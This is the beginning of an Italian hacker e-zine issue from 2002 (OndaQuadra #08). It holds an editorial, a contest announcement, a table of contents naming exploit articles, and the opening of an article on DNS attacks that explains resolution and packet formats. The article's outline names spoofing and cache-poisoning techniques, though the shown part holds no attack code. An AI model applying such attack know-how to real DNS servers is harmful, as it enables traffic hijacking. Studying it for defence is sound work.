Copy Link
Add to Bookmark
Report

OndaQuadra 08

eZine's profile picture
Published in 
OndaQuadra
 · 26 Apr 2019

  

,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
::::::::::::, .::::::::::::::::::::::::::::::,. .,:::,,.........,:
::::::::,. s@@@@@@#. .:::::, .,:::::::::. ,:. ,, :::::::::,.:
::::::, ;@@@@@@@@@@@@@: ,:: ;H@@Ar .::::::. :@@@@@@: :. ;@@@@@#r :
:::::. 2@@@ :@@@@@@@H .:, @@@@@@@@@@: .:::: ,@@@r @@@G . S@@@: @@@S:
:::: s@@@2 ,,, #@@@@@@r :,:@@@@@@@@@@@; ,::. 2@@# :@@# .:@@@ .@@@::
:::, A@@@@ :::::, @@@@@@@ :, #@@@@@@@@ :: .@@@ ,. 9@@M S@@G,3@@r :
::: @@@@@ ,:::::. 5@@@@@2 :::, S@@@@@@@@@: ,:.#@@: ,, @@@: ,@@@#B@@@, :
::: i@@@@@G ,::::. r@@@@r .::: @@@@@@@@@@@ , @@@ : i@@A @@@; @@@3 :
::: i@@@@@@A @@@@ .::, h@@@@@@@@@@@; @@H i@@# @@@; ;@@@: ,
::: @@@@@@@@@3;.i@@@S ,::. r@@@@@@@@@@@@@@H @@@ A@@3 @@@i @@@@ ,:
:::, .@@@@@@@@@@@@@: ,::, @@@@@@@@@@@@@@@@@@ @@@@@@3 , A@@@@@@M ,::
::::, 9@@@@@@i .::::: @@@@@@@@@@@@@@@@@@@@@@@S ,:::::::::::::::::::::
:::::,. .,::::, &@@@@@@@@@@@@@@@@@@@@@@@@H .::::::::::::::::::::
::::::::. ,:. @@@@@@@@@@@@@@@@@@@@@@@@@@@; ,::::::::::::::::::
:::::, :@@@@@@@@@@@; .. @@@@@@@@@@@@@@@@@@@@@@@@@@@@@ .:::::::::::::::::
:::, M@@s ,@@@@@@@@2 . @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@r .::::::::::::::::
::. @@@# .. @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@; ,:::::::::::::::
:, ,@@@@ :::::. @@@@@@i , &@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ :::::::::::::::
: @@@@2 ,::::::. r@@@@@r :, G@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ,::::::::::::::
: S@@@@A ::::::: @@@@@ .:::. @@@@@@@@@@@@@@@@@@@@@@@@@H,A,,::::::::::::::
: H@@@@@; ,,,, 5@@@H ,:::: @@@@@@@@@@@@@@@@@@@@@@@@@@S ,::::::::::::::
: S@@@@@@@. H@@# ,:::::. @@@@@@@@@@@@@@@@@@@@@@@@@@@. :::::::::::::::
:. #@@@@@@@@@@@@@@& ,:::::::, @@@@@@@@@@@@@@@@@@@@@@@@@@@2 :::::::::::::::
:, &@@@@@@@@@H ,:::::,. M@@r2@@:@@@@@@@@@@@@@@@@@@@; :::::::::::::::
:::, A@: .,,,.2&22@@@@, A@@@@@@@@@@@@@@@@@@ :::::::::::::::
:::, .s@@@@@@@@@@@@A: s2@@@HA@@2B@M@@ A@@@@@@@@@@@@@@@ .::::::::::::::
:::,;@@@@@@@@@@@@@@@@@@@@h, ;@@@rs@@@@@@@@@@@@@@ .:::::::::::::
:::, ,3@@@@@@@@@@@@@@@@2. .@@@@@@@@@@@@@@@G :::::,. ,::
:::::::::,,. r@@@@@@@@@@@@@@@@@h; ,S#@@@@@@@@@@@r ,. 2@3,::
:::::::::::::::,. ;#@@@@@@@@@@@@@@@@@i. &@@@@@@; :H@@@@S ,::
::::::::::::::::::::,. .5@@@@@@@@@@@@@@@@@@Ai: :@@@@@@@; ,:::
:::::::::::::::::::::::::,. :G@@@@@@@@@@@@@@@@@@@@@@@@A: .,::::::
:::::::::::::::::::::::::::::::,. ... .,,::::::::::
::::::::::::::::::::::::::::::::::::::,,.. ..,,:::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

+--------------------------------------------------------------------------+
| ONDAQUADRA #08 - 01/11/2002 |
+--------------------------------------------------------------------------+
| Tutto nel ciberspazio |
| E' scandito dalla squarewave |
| Dei micro-processori |
| Il clock dei micro |
| E' come |
| Un battito cardiaco |
| Elettronico... |
+--------------------------------------------------------------------------+
| http://www.ondaquadra.org |
| mail@ondaquadra.org ~ articoli@ondaquadra.org |
+--------------------------------------------------------------------------+

<-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-->

+--------------------------------------------------------------------------+
| LEGAL DISCLAIMER |
+--------------------------------------------------------------------------+
| |
| Nessuna persona dello staff di OndaQuadra si assume responsibilita' |
| per l'uso improprio dell'utilizzo dei testi e dei programmi presenti |
| nella e-zine, ne' per danni a terzi derivanti da esso. |
| OndaQuadra non contravviene in alcun modo alle aggiunte/modificazioni |
| effettuate con la legge 23 dicembre 1993, n.547 ed in particolare |
| agli artt. 615-quater- e 615-quinques-. |
| Lo scopo di OndaQuadra e' solo quello di spiegare quali sono e come |
| avvengono le tecniche di intrusione al fine di far comprendere come |
| sia possibile difendersi da esse, rendere piu' sicura la propria box e |
| in generale approfondire le proprie conoscenze in campo informatico. |
| I programmi allegati sono semplici esempi di programmazione che hanno |
| il solo scopo di permettere una migliore comprensione di quanto |
| discusso e spiegato nei testi. |
| Non e' soggetta peraltro agli obblighi imposti dalla legge 7 marzo 2001, |
| n. 62 in quanto non diffusa al pubblico con "periodicita' regolare" ex |
| art. 1 e pertanto non inclusa nella previsione dell'art.5 della legge |
| 8 febbraio 1948, n.47. |
| |
+--------------------------------------------------------------------------+

<--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-->

+--------------------------------------------------------------------------+
| COSTITUZIONE DELLA REPUBBLICA ITALIANA |
+--------------------------------------------------------------------------+
| Diritti e doveri dei cittadini: Rapporti civili |
| |
| Articolo 21 |
| Tutti hanno diritto di manifestare liberamente il proprio pensiero |
| con la parola, lo scritto e ogni altro mezzo di diffusione. [...] |
+--------------------------------------------------------------------------+

<--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-->

+--------------------------------------------------------------------------+
| INDICE |
+--------------------------------------------------------------------------+
| [L0GiN] |
| 0x01 ViSi0NARi .............................................. [oq~staff] |
| 0x02 iPSE DiXiT ............................................... [JEYoNE] |
| 0x03 On the sunny side of the street ........................ [arkanoid] |
| 0x04 0Q C0NTEST ............................................. [oq~staff] |
+--------------------------------------------------------------------------+
| [HACKiNG] |
| 0x05 DEFEATiNG DNS ........................................... [SNHYPER] |
| 0x06 iP R0UTiNG ATTACK .......................................... [eazy] |
| 0x07 C0DE iNJECTi0N ............................................. [eazy] |
+--------------------------------------------------------------------------+
| [NETW0RKiNG] |
| 0x08 iMP0STARE iL DUAL STACK IPV6 / IPV4 ............... [Master^Shadow] |
+--------------------------------------------------------------------------+
| [LiNUX] |
| 0x09 LMSRK ..................................................... [spyro] |
+--------------------------------------------------------------------------+
| [C0DiNG] |
| 0x0A iNTR0DUZi0NE A PHP .................................... [Lethalman] |
| 0x0B iL SUCCESS0RE Di XSL .................................. [cyberdude] |
| 0x0C PLUS #2 .................................................. [Mastro] |
| 0x0D iMPARiAM0 iL LiNGUAGGi0 WML ........................... [cyberdude] |
| 0x0E GUiDA ALLA PR0GRAMMAZi0NE GRAFiCA iN C/C++ ................ [bondo] |
+--------------------------------------------------------------------------+
| [L'ANG0L0 DEGLi EXPL0iT] |
| 0x0F BNBF0RM: USi E ABUSi ...................................... [spyro] |
| 0x10 LA G0CCiA CHE FA TRAB0CCARE iL BUFFER ....................... [e4m] |
+--------------------------------------------------------------------------+
| [MiSC] |
| 0x11 DiGiTAL ................................................. [evilcry] |
| 0x12 CiRCUiTi STAMPATi ....................................... [TiN_MaN] |
| 0x13 E ULTiM0 VENNE iL P0RC0 ................................ [onnivora] |
| 0x14 GLi SPYWARE 0GGi ........................................... [SwiT] |
+--------------------------------------------------------------------------+
| [L'APPRENDiSTA STREG0NE] |
| 0x15 GUARDA GUARDA CHE Ti LEGG0 iL W0RD! ...................... [Dagart] |
| 0x16 PATCHARE UN SERiAL NUMBER USAND0 WDASM32 .............. [cyberdude] |
| 0x17 0VERCL0CK ESTREM0 Di UN PENTiUM IV 1600 ..................... [DJK] |
| 0x18 C0DiCE iNVERS0 PARTE 5 ..................................... [Zer0] |
+--------------------------------------------------------------------------+
| [SHUTD0WN] |
| 0x19 MEDiTAZi0Ni DAVANTi AD UNA MACCHiNETTA ................ [Dreadnaut] |
+--------------------------------------------------------------------------+
| [C0NTATTi] |
| 0x1A D0VE TR0VARCi ........................................ [oq ~ staff] |
+--------------------------------------------------------------------------+
| [ALLEGATi] |
| 0x01 MODELLO.JPG ............................................ [oq~staff] |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ L0GiN #08 - 01/11/2002 |
| ViSi0NARi [oq~staff] 0x01/0x1A |
+--------------------------------------------------------------------------+
| "Siamo realisti, esigiamo l'impossibile" |
| [Che Guevara] |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ L0GiN #08 - 01/11/2002 |
| iPSE DiXiT [JEYoNE] 0x02/0x1A |
+--------------------------------------------------------------------------+
| "Linux e' troppo vecchio per supportare la tecnologia ADSL" |
| [un tecnico del 187] |
| |
| "...jey, fai assaggiare un po della tua banana alla mia ragazza..." |
| [SHNYPER a JEYoNE in un locale di milano] |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ L0GiN #08 - 01/11/2002 |
| On the sunny side of the street [arkanoid] 0x03/0x1A |
+--------------------------------------------------------------------------+
| Abbandonare la citta' la sera e' difficile. Si ha le netta percezione |
| del sovradimensionamento del traffico rispetto all'infrastruttura della |
| rete stradale. E' come fare streaming video con un modem da 14 e 4, un |
| Denial of Service urbano quotidiano. |
| A proposito di DoS (anzi DDoS): lo scorso mese abbiamo assistito a |
| quello che l'Fbi ha definito il piu' vasto attacco contro Internet, |
| l'assalto ai root-server dns. Nulla di nuovo sotto il sole cablato; |
| pero' prima o poi l'inevitabile accadra', ci sara' sicuramente un |
| attacco devastante contro la rete, primo atto della cyberwar, l'11 |
| settembre elettronico. Sediamoci sulla riva del fiume e aspettiamo che |
| il cadavere della modernita' ci passi davanti agli occhi, anche se ai |
| professorini col cappello nero non importa nulla, l'importante e' farsi |
| accettare nel salotto buono del capitalismo o parlare a qualche inutile |
| conferenza: i bottegai della sikurezze sono serviti. |
| |
| Intanto qui si parla di censura. No, questa volta i simpatici signori |
| del Palazzo non centrano. Anzi, devo dire che ultimamente a |
| Montecitorio si stanno comportando assai bene; pensate che ieri si sono |
| addirittura presi a pugni due rappresentsnti dello stesso partito, |
| cosi' evitano la fatica ai cittadini... |
| Dicevo della censura, anzi auto-cesnura. Ebbene si, abbiamo dovuto |
| censurare un articolo. Ma come ? Proprio noi, la "stampa clandestina", |
| i paladini assoluti della liberta' di espressione, super m3g4 l33t del |
| panorama hackeresco Globale... |
| Comunque state tranquilli, l'articolo incriminato apparira' sul |
| prossimo numero: restate sintonizzati, il mistero sara' svelato (o |
| no ? ). |
| |
| Continuano ad arrivare tanti articoli, alcuni buoni altri meno. |
| Chiariamo un punto. |
| Avete scritto un articolo fantastico, estremamente complesso, dove |
| viene illustratta una nuova sofisticatissima tecnica? Mandatelo a Bfi |
| (o a phrack o alla Microsoft, e' uguale) :) Siete aspiranti ethical |
| hacker, black/grey/white hat ? |
| Ecco, non ci interessate :) Noi cerchiamo i rainbow-hat, la fantasia al |
| potere, l'arcobaleno dei dilettanti, i coriandoli colorati portati dal |
| vento ;). |
| Quindi scrivete, scrivete: meglio le idee della tecnica. Piu' |
| editoriali e meno guide di compilazione del kernel :) |
| Piu' avventura e meno accademia: perlomeno sappiate cos'e' il Jolly |
| Roger! |
| Bene, ora potete procedere; rovinatevi gli occhi col nuovo numero di |
| OQ. Sognate ma soprattutto schiodatevi dalle vostre comode poltrone. |
| Non vogliamo eroi, ma gente che e' stufa di patire in silenzio. No ai |
| professorini col cappello nero esperti di sikurezza ed estremamente |
| ipocriti;avanti ai sognatori a 360 gradi, che avvolgono col la vista |
| tutto il giro dell'orizzonte onirico. |
| |
| Il nuovo OQ e'vostro: fate in modo che il prossimo numero sia migliore. |
| |
+--------------------------------------------------------------------------+



+--------------------------------------------------------------------------+
| ONDAQUADRA ~ L0GiN #08 - 01/11/2002 |
| 0Q C0NTEST [oq~staff] 0x04/0x1A |
+--------------------------------------------------------------------------+
| |
| Il nuovo numero di Ondaquadra porta con se una sferzata di novità, prima |
| tra tutte questa nuova sezione denominata contest. |
| Lo scopo di questa sezione è quello di fornire un mezzo ai nostri |
| lettori per interagire sempre più da vicino nel processo di maturazione |
| della zine fornendo contributi volti a migliorarne gli aspetti più |
| disparati. |
| Ad ogni nuovo numero di OQ verranno istituiti uno o più contest |
| riguardanti tematiche diverse (programmazione, grafica, etc), ad ognuno |
| di essi sarà possibile partecipare liberamente. Ogni contest avrà una |
| consegna ben precisa da rispettare sulla base della quale verranno |
| valutati i vostri lavori. |
| L'oggetto dei contest sarà scelto in maniera tale che il lavoro che si |
| aggiudicherà il primo posto potrà venire impiegato per migliorare quello |
| che è il nostro e il vostro progetto: Ondaquadra. |
| I tempi di consegna dei vostri progetti coincideranno molto spesso con |
| l'uscita del prossimo numero di OQ tuttavia potranno essere estesi a |
| seconda della quantità di contributi ricevuti, il countdown visibile in |
| homepage risulterà utile per avere un'idea del tempo a propria |
| disposizione. |
| |
| Ma ora entriamo nel vivo dei contest che Ondaquadra ha deciso di |
| promuovere questo mese... |
| |
| 1. Programmazione |
| |
| Il contest prevede la realizzazione di un impaginatore in grado di |
| trasformare un testo formattato a piacere in un articolo conforme agli |
| standard di pubblicazione di OQ, ovvero con una formattazione del testo |
| a 72 caratteri di larghezza, proprio come l'articolo che state leggendo. |
| Sono ESCLUSI dai compiti dell'impaginatore la genarazione della cornice |
| di pipe "|". |
| E' possibile utilizzare qualsiasi linguaggio di programmazione, tale |
| scelta è stata fatta per lasciare la maggior libertà possibile. |
| Il codice sarà valutato in base all'aderenza alle consegne, alle scelte |
| di progetto e all'efficenza. |
| Alcuni suggerimenti: i punti più critici sono rappresentati dalla |
| gestione dei possibili disegni ASCII contenuti nel testo, la soluzione |
| di tale problema costituisce un punto cruciale nella valutazione del |
| progetto, per tanto le scelte riguardanti tale gestione sono lasciate |
| interamente all'autore del programma. |
| Il progetto che si aggiudicherà il primo posto costituirà un tool di |
| pubblica utilità per tutti gli utenti che vorranno impaginare i propri |
| articoli in maniera corretta e verrà per tanto inserito tra i download |
| del nostro sito a disposizione di chiunque voglia usufruirne. |
| Il progetto dovrà essere inviato a contest@ondaquadra.org entro e non |
| oltre la data di pubblicazione prevista per il prossimo numero, lo staff |
| si riserva tuttavia la possibilità di estendere la validità del contest |
| sulla base dei contributi ricevuti. |
| |
| 2. Grafica |
| |
| Il contest consiste nel progettare la grafica delle t-shirt di |
| Ondaquadra, la sola consegna da rispettare è quella di utilizzare un |
| logo piccolo per quanto riguarda la parte davanti della t-shirt e uno |
| più grande nella parte posteriore, ai partecipanti è lasciata piena |
| autonomia per quanto riguarda le scelte puramente stilistiche. |
| In allegato alla zine e sul nostro sito è possibile reperire la jpg che |
| costituisce il modello su cui dovrà essere presentato il vostro lavoro. |
| Sulla base del progetto vincitore saranno stampate delle magliette a |
| disposizione dello staff e dei lettori che ne dovessero fare richiesta. |
| Il progetto dovrà essere inviato a contest@ondaquadra.org entro e non |
| oltre la data di pubblicazione prevista per il prossimo numero, lo staff |
| si riserva tuttavia la possibilità di estendere la validità del contest |
| sulla base dei contributi ricevuti. |
| |
| 3. Web |
| |
| Il contest vede come oggetto la versione testuale del sito di OQ ed è |
| dedicato a chiunque voglia cimentarsi nella realizzazione di un sito |
| ottimizzato per links/lynx o altri browser testuali. |
| Nella realizzazione di tale sito vi sono tuttavia delle consegne da |
| rispettare, in particolare deve comparire almeno una volta la frase: |
| |
| "Fino a quando lo spirito umano sara' vivo, gli hackers esisteranno |
| sempre. Puo' darsi che dovremo combattere una battaglia durissima se |
| continueremo ad essere imprigionati e vittimizzati a causa del nostro |
| desiderio di esplorare. Ma questa repressione raggiungera' tutti gli |
| obiettivi tranne quello di fermarci"
|
| E. Goldstein, editore di 2600 |
| |
| Una parte dello spazio dovrà essere dedicata ai link che permettono di |
| effettuare il download dei numeri nuovi e arretrati di Ondaquadra. |
| Devono comparire i seguenti indirizzi e-mail al fine di permettere il |
| recapito degli articoli da parte degli utenti e per contattare la |
| redazione: |
| |
| articoli@ondaquadra.org |
| mail@ondaquadra.org |
| |
| Il sito che si aggiudicherà il primo posto sarà il candidato a |
| sostituire il sito attuale che si trova all'URL: |
| |
| http://www.autistici.org/ondaquadra/indexlynx.html |
| |
| Il progetto dovrà essere inviato a contest@ondaquadra.org entro e non |
| oltre la data di pubblicazione prevista per il prossimo numero, lo staff |
| si riserva tuttavia la possibilità di estendere la validità del contest |
| sulla base dei contributi ricevuti, penso che ormai la formula la |
| conosciate :) |
| |
| Bene, con questo ho finito! Vi saluto e vi invito a partecipare numerosi |
| in attesa dei contest che vi proporremo nel prossimo numero. |
+--------------------------------------------------------------------------+



+--------------------------------------------------------------------------+
| ONDAQUADRA ~ HACKiNG #08 - 01/11/2002 |
| DEFEATiNG DNS [SNHYPER] 0x05/0x1A |
+--------------------------------------------------------------------------+
| ovvero: Tutto cio' che volevate sapere sui DNS e non avete mai |
| osato chiedere |
| |
| [snhyper@Charlotte2:~]$ date |
| Sun Oct 06 03:58:05 CEST 2002 |
| |
| -snhyper@ondaquadra.org- |
| --http://snhyper.owns.it-- |
| |
| |
| |
| 0x00 => Indice: |
| |
| |
| |
| 0x00) Indice |
| |
| 0x01) Requisiti |
| |
| 0x02) Introduzione generale |
| |
| 0x03) Introduzione al DNS |
| -sub_A() Non-authoritative answer |
| -sub_B() Recursive resolution |
| -sub_C() Iterative resolution |
| |
| 0x04) Costituzione pacchetti DNS |
| |
| 0x05) Parametri DNS |
| |
| 0x06) Analisi tipologica di attacchi ai server DNS |
| -sub_A() DNS footprinting |
| -sub_B() DNS zone transfer |
| -sub_C() DNS Denial of Service |
| -sub_D() DNS ID guessing |
| -sub_E() DNS spoofing |
| -sub_F() DNS poisoning/caching |
| -sub_G() DDNS update spoofing |
| |
| 0x07) Protezione server DNS |
| -sub_A() Macchine posix (*nix, *BSD) |
| -sub_B() Macchine Win |
| |
| 0x08) Progetto AmPaRo |
| |
| 0x09) Greetings and Byez |
| |
| 0x0A) Resources |
| |
| 0x0B) GPG Key |
| |
| |
| 0x01 => Requisiti: |
| |
| - conoscenza protocollo tcp/ip - iso/osi |
| - conoscenza funzionamento protocollo dns e cio' ad esso correlato |
| - conoscenza linguaggio C (se non ci si vuole limitare ad eseguire) |
| - conoscenza programmazione socket raw (idem come sopra) |
| - importante: eseguire-> #mount /dev/brain /mnt/head |
| |
| |
| |
| 0x02 => Introduzione generale: |
| |
| In questo paragrafo illustrero' a grandi linee le caratteristiche dei |
| dns senza entrare nei particolari e senza approfondire la sua |
| struttura e il suo funzionamento in quanto dovrebbe essere un target |
| gia' sviluppato (come da paragrafo "Requisiti") ai fini di una |
| ottimale comprensione del presente documento. Per informazioni su |
| tutto cio' che viene detto, tecniche o no, e per approfondimenti vari |
| vi rimando all'ultimo paragrafo "Risorse" nel quale potete trovare |
| puntatori a tutto cio' che mi ha permesso di capire e di sviluppare, e |
| che sarebbe ottimo sapere prima di addentrarsi nei meandri specifici |
| delle reti e dell'hacking in generale. |
| Nel seguito del paper verranno sviluppati anche altri temi inerenti di |
| cui potete trovare traccia nell'indice sopra esposto. |
| |
| C00L: Questo testo vuole essere una analisi dell'argomento DNS |
| security per tutti coloro (sysadmin - h4x0r etc..) che vogliono |
| proteggersi - imparare - etc.. con queste metodologie che |
| ritengo molto interessanti. |
| Come disse mudge in un suo source in un commento: |
| /* A little step for a man, a big step for human kind */ |
| |
| Questo testo vuole essere anche una "implementazione" e |
| "chiarificazione" del testo "DNS Sp00f attack" dell'amico E4zy |
| pubblicato su OndaQuadra n.0x06 ,articolo 0x1D. |
| |
| Questo testo non vuole essere una incitazione ad attacchi e vari. |
| |
| Questo testo non vuole sminuire il testo di E4zy o altro. |
| |
| |
| |
| 0x03 => Introduzione ai DNS: |
| |
| I DNS (Domain Name System) non sono altro che un database distribuito |
| e inter-collaborante che permette il "mapping" dei nomi logici di |
| dominio FQDN (Full Qualified Domain Name) sugli indirizzi di rete IP |
| Address. Questo per una semplificazione notevole all'utenza media e |
| non, in quanto e' sicuramente piu' semplice ricordarsi di un nome |
| logico rispetto ad un indirizzo fisico. Basta pensare, ad esempio, per |
| i computers "internet-connected" quanto sia piu' comodo ricordarsi di |
| www.sikurezza.org rispetto a 151.8.1.46;in questo caso il DNS |
| effettuera' per noi la risoluzione dell'URL (Universal Resource |
| Locator). Altro notevole vantaggio sta nell'evitare la difficile |
| manutenzione di grossi file /etc/hosts etc...in grosse organizzazioni. |
| |
| I nomi logici DNS hanno la forma di "dominio.tipo_dominio", ad esempio |
| sikurezza.org (sikurezza non me ne voglia a male se l'ho preso come |
| esempio ;). I tipi di dominio sono mantenuti dall'ICANN e tra i piu' |
| conosciuti troviamo appunto ".edu - .org - .com - .it - .net" etc.. |
| che differenziano nella maggior parte dei casi la tipologia di |
| contenuti del server o, nel caso dei tipi countries-specific, della |
| nazionalita' ove si trova l'organizzazione (".jp - .de - .en - .fr"). |
| |
| Come si sapra' certamente,al top di tutto si trova la root, alla quale |
| sono designati i 13 root-servers che mantengono traccia dei "top level |
| servers"
contenenti informazioni di risoluzione per i domini di primo |
| livello TLD (Top Level Domain). |
| |
| Ma ora vediamo a grandi linee il metodo di risoluzione base di un dns: |
| Quando un client richiede una connessione ,per esempio con il sito |
| www.sikurezza.org, egli non sa che indirizzo abbia quindi effettuera' |
| pochi semplici passi che gli permetteranno la sua risoluzione e quindi |
| di connettersi. |
| |
| Nel seguente schema si ravvisera' la tipica metodologia di risoluzione |
| per sistemi posix compliant quali linux, unix, *BSD etc.., che quindi |
| non includera' la ricerca in database WINS, in file lmhosts etc.. |
| tipiche dei sistemi windoze. |
| |
| Primo passo sara' controllare se l'host appartiene al dominio locale. |
| Una volta appurato che non lo e', controllera' il file /etc/hosts per |
| trovare una risoluzione preimpostata dall'utente stesso. |
| Non trovando niente inviera' una query al proprio DNS server, trovato |
| attraverso un resolver (/etc/resolv.conf), tramite la GetHostByName(3). |
| Nel caso in cui il DNS server di default non sia autoritativo per il |
| dominio richiesto e non abbia la voce richiesta nella cache, agira' da |
| forwarder o inviera' una richiesta ricorsiva (se supportata,flag RA). |
| |
| L'abilitazione della modalita' ricorsiva e' una prerogativa senza la |
| quale il dns-poisoning non puo' essere effettuato (vedremo perche'). |
| Se il client si vedra' ritornare dal DNS una response non autoritativa |
| (non-authoritative response) significhera' che il DNS non ha neanche |
| contattato il server autoritativo per quel dominio, ma l'aveva nella |
| cache. |
| |
| Esempio: |
| |
| -sub_A() Non-authoritative answer: { |
| |
| client dns.tin.it dns.sikurezza.org |
| ---------- ---------- ---------- |
| | |www.sikurezza.org.| | | | |
| | -----------------> | | | | |
| | | A ? | | | | |
| | | | | | | |
| | |www.sikurezza.org.| | | | |
| | | <---------------- | | | |
| | | A 151.8.1.56 | | | | |
| | | AA=0x00 | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| |
| In questo caso, essendo la flag AA (Autority answer) impostata a 0 |
| significa che il server non ha autorita' su quel dominio: vorra' |
| quindi dire che dns.tin.it aveva la mappatura nella cache. |
| Ricordo che il tempo per il quale la voce deve rimanere attiva nella |
| cache equivale a quello impostato nel pacchetto di risposta corrispon- |
| dente al campo TTL. |
| |
| }; |
| |
| -sub_B() Recursive resolution: { |
| |
| client dns.tin.it dns.sikurezza.org |
| ---------- ---------- ---------- |
| | |www.sikurezza.org.| |www.sikurezza.org.| | |
| | -----------------> | -----------------> | | |
| | | A ? | | A ? | | |
| | | | | | | |
| | |www.sikurezza.org.| |www.sikurezza.org.| | |
| | | <---------------- | <----------------- | |
| | | A 151.8.1.56 | | A 151.8.1.56 | | |
| | | AA=0x01 | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| |
| In questo caso (il disegno e' molto schematico e ho lasciato le parti |
| che descrivero' ora) dns.tin.it contattera' uno dei root-server, il |
| quale gli ritornera' l'indirizzo di uno dei server con autorita' sul |
| TLD .org; allora dns.libero.it contattera' quest'ultimo chiedendo di |
| sikurezza.org e verra' ritornato,ad es.,l'indirizzo di sikurezza.org, |
| , che conterra' il record relativo a www.sikurezza.org come record |
| A o CNAME a seconda di come e' stato impostato. Il record sara' di tipo |
| autoritativo (AA=0x01). |
| |
| }; |
| |
| -sub_C() Iterative resolution: { |
| |
| client dns.tin.it dns.sikurezza.org |
| ---------- ---------- ---------- |
| | |www.sikurezza.org.| | | | |
| | -----------------> | | | | |
| | | A ? | | | | |
| | | | | | | |
| | |dns.sikurezza.org.| | | | |
| | | <---------------- | | | |
| | | A 151.8.1.253 | | | | |
| | | AA=0x00 | | | | |
| | | | | |
| | | | | |
| | | www.sikurezza.org. A ? | | |
| | ---------------------------------------------> | | |
| | | | | |
| | | www.sikurezza.org. A 151.8.1.56 | | |
| | | <--------------------------------------------- | |
| | | AA=0x01 | | |
| | | | | |
| |
| }; |
| |
| Come si puo' notare (anche qui sono stati saltati i passi intermedi) |
| nell'interrogazione iterativa e' il client a effettuare le ricerce |
| per i fatti suoi secondo le risposte ricevute dai dns intermediari. |
| E' quindi facile comprendere (per chi sa le basi del dns-poisoning) |
| perche' nel caso di una interrogazione iterativa non sia possibile |
| un attacco del genere. |
| |
| Per capire bene il funzionamento basta armarsi di tools come "dig" o |
| "nslookup", o "host" presenti in ogni distro linux, e naturalmente |
| del classico tcpdump ("anke medioman usa tcpdump", vero Raoul? ;=). |
| |
| 0x04 => Costituzione pacchetti DNS: |
| da Tcp/Ip Illustrated vol.1 , W.R.Stevens |
| |
| |
| Questo paragrafo serve solo da promemoria per la lettura di codice |
| e/o la lettura di parti tenciche in quanto la sua conoscenza deve |
| essere gia stata approntata! |
| |
| |
| 0 1 3 |
| 0 6 2 |
| ------------------------------------------------------------- <- |
| | IDENTIFICATION | FLAGS | | |
| ------------------------------------------------------------- 12 |
| | NUMBER OF QUESTIONS | NUMBER OF ANSWER RRs | bytes |
| ------------------------------------------------------------- header |
| | NUMBER OF AUTHORITY RRs | NUMBER OF ADDITIONAL RRs | | |
| ------------------------------------------------------------- <- |
| \ QUESTIONS / |
| ------------------------------------------------------------- |
| / ANSWERS (variable num. of RRs) \ |
| ------------------------------------------------------------- |
| \ AUTHORITY (variable num. of RRs) / |
| ------------------------------------------------------------- |
| / ADDITIONAL (variable num. of RRs) \ |
| ------------------------------------------------------------- |
| |
| Il significato dei campi dovrebbe essere gia chiaro (requisiti..) |
| quindi non mi dilunghero'. |
| |
| Il campo FLAGS di 16 bit e' suddiviso a sua volta in: |
| |
| 0 0 0 0 0 0 0 1 1 |
| 0 1 5 6 7 8 9 2 6 |
| -------------------------------------------------- |
| | QR | opcode | AA | TC | RD | RA | zero | rcode | |
| -------------------------------------------------- |
| |
| Il campo QUESTIONS contiene la query vera e propria ed e': |
| |
| |
| 0 1 3 |
| 0 6 2 |
| ------------------------------------------------------------- |
| / QUERY NAME \ |
| ------------------------------------------------------------- |
| | QUERY TYPE | QUERY CLASS | |
| ------------------------------------------------------------- |
| |
| |
| Il campi ANSWERS, AUTHORITY e ADDITIONAL condividono lo stesso |
| formato di pacchetto, detto appunto Resource Record (RR): |
| |
| |
| 0 1 3 |
| 0 6 2 |
| ------------------------------------------------------------- |
| \ DOMAIN NAME / |
| ------------------------------------------------------------- |
| | TYPE | CLASS | |
| ------------------------------------------------------------- |
| | TTL | |
| ------------------------------------------------------------- |
| | RESOURCE DATA LENGHT | | |
| ------------------------------- | |
| | RESOURCE DATA | |
| ------------------------------------------------------------- |
| |
| |
| 0x05 => Parametri DNS: |
| |
| Domain System CLASS: |
| |
| Valore Nome Riferimento |
| --------- ---- ---------- |
| 0 Reserved [IANA] |
| 1 Internet (IN) [RFC1035] |
| 2 Unassigned [IANA] |
| 3 Chaos (CH) [RFC1035] |
| 4 Hesiod (HS) [RFC1035] |
| 5-253 Unassigned [IANA] |
| 254 None [Vixie] |
| 255 Any [QCLASS Only] [RFC1035] |
| 256-65534 Unassigned [IANA] |
| 65535 Reserved [IANA] |
| |
| |
| Nella classe Internet (IN) troviamo: |
| |
| TYPE valore and significato |
| |
| A 1 indirizzo host [RFC1035] |
| NS 2 dns server autoritativo [RFC1035] |
| MD 3 ricezione mail (deprecato in favore MX)[RFC1035] |
| MF 4 mail forwarder (deprecato in favore MX)[RFC1035] |
| CNAME 5 canonical name per un alias [RFC1035] |
| SOA 6 inizio zona State of Authority [RFC1035] |
| MB 7 mailbox domain name (EXPERIMENTAL) [RFC1035] |
| MG 8 mail group member (EXPERIMENTAL) [RFC1035] |
| MR 9 mail rename domain name (EXPERIMENTAL) [RFC1035] |
| NULL 10 RR nullo (EXPERIMENTAL) [RFC1035] |
| WKS 11 descrizione Well Known Service [RFC1035] |
| PTR 12 domain name pointer [RFC1035] |
| HINFO 13 informazioni su un host [RFC1035] |
| MINFO 14 informazioni su mail o mailing list [RFC1035] |
| MX 15 mail exchange [RFC1035] |
| TXT 16 stringhe di testo [RFC1035] |
